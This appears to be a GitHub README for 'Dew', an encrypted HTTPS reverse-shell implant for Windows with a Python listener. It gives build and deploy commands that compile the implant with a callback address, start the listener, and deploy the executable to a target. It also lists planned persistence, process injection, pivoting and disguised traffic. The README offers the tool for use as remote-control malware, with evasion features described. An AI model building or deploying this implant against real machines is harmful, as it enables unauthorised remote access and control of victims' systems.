Real-Fruit-Snacks/Dew

Dew is an encrypted HTTPS reverse shell for Windows. A tiny C implant (~37 KB) polls a Python listener over TLS, with XChaCha20-Poly1305 encrypted command payloads, jittered callbacks, and a pre-shared key for defense-in-depth beyond the transport layer.

Table of Contents

• Highlights
• Quick Start
• Architecture
• Configuration
• Network Footprint
• Project Structure
• Future Work

Highlights

Quick Start

Prerequisites

Build & Deploy

# Clone
git clone https://github.com/Real-Fruit-Snacks/Dew.git
cd Dew

# Build — generates a random PSK, compiles, prints the listener command
./build.sh 10.10.14.1 443

# Or specify your own key
./build.sh 10.10.14.1 443 <64-char-hex>

# Start the listener (build.sh prints this command with your key)
python listener.py --lport 443 --key <key>

# Deploy dew.exe to target

The build script generates a random 256-bit PSK if you don't provide one, cross-compiles a ~37 KB PE, and prints the exact listener command with your key. One command.

Architecture

[Target]                          [Operator]
 dew.exe  ──── HTTPS/TLS ────>  listener.py
          <── encrypted cmd ───
          ── encrypted output ─>

Tech Stack

Configuration

Compile-time (Makefile variables)

Implant constants (dew.c)

Listener arguments

Network Footprint

Project Structure

dew/
├── dew.c              # Implant source (~390 lines)
├── monocypher.c       # Vendored XChaCha20-Poly1305 extraction (~370 lines)
├── monocypher.h       # Minimal crypto header (4 exported functions)
├── listener.py        # Python HTTPS listener with interactive CLI
├── build.sh           # One-command build script
├── Makefile           # Cross-compilation targets
└── docs/
    ├── banner.svg     # Repository banner
    └── index.html     # GitHub Pages landing page

Future Work

• Built-in commands (ps, ls, whoami) via Windows APIs
• File upload/download
• SaaS-disguised URI paths
• Process injection / migration
• Persistence mechanisms
• SOCKS proxy pivoting